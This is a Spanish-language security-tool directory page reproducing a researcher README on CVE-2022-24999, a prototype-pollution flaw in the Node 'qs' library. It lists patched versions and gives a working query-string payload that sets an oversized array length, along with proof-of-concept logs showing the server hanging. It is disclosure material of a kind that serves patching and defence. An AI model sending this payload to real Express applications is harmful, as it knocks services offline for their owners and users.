Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/9pings/cve-2022-24999
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHub9pings/cve-2022-24999

CVE-2022-24999

"qs" vulnerabilidad de contaminación de prototipos (CVE-2022-24999)

Ver Repositorio
83hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-24999

Este repositorio contiene muestras de exploits de la vulnerabilidad que encontramos en la librería JS "qs" en diciembre de 2021.

  • Esta vulnerabilidad fue corregida en express v4.17.3 y qs v6.10.3, v6.9.7, v6.8.3, v6.7.3, v6.6.1, v6.5.3, v6.4.1, v6.3.3 y v6.2.4.

Bombas de Array y String de qs

Las versiones vulnerables de "qs" permiten crear propiedades "proto" en los objetos JS de salida.

Al establecer un Array en la propiedad “__ proto__”, hemos podido crear objetos “similares a arrays”.

Como los objetos resultantes heredan el prototipo “Array”, exponen las funciones nativas de Array.

Pero como siguen siendo objetos, “qs” permite establecer la propiedad “length” en ellos.

Como ejemplo, el siguiente payload creará este tipo de array “malvado”:

root@kitploit:~
categories[_proto__]&categories[_proto__]&categories[length]=100000000

Por lo tanto, establecer un valor "length" excesivo en ellos congelará el proceso de node en cuanto intente convertirlos a valores de cadena o al llamar a la mayoría de las funciones nativas de Array.

Esto expone cualquier aplicación de Node que utilice una versión vulnerable de "qs", con la configuración predeterminada de Express y sin un sistema de validación robusto, a ataques DOS aplicativos.

Aquí hay un ejemplo de logs del PoC en ./express-qs-string-bomb :

root@kitploit:~
Send payload :  someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params  { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123" 
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s

Otros comportamientos explotables

Nuestro análisis también nos permitió ver que eran posibles otros modos de explotación.

Describimos algunos de ellos en el directorio ./qs-vulns.

Créditos

BRAUN Nathanael & BRISSAUD Johan
Para EY Security, Francia

Descargar herramienta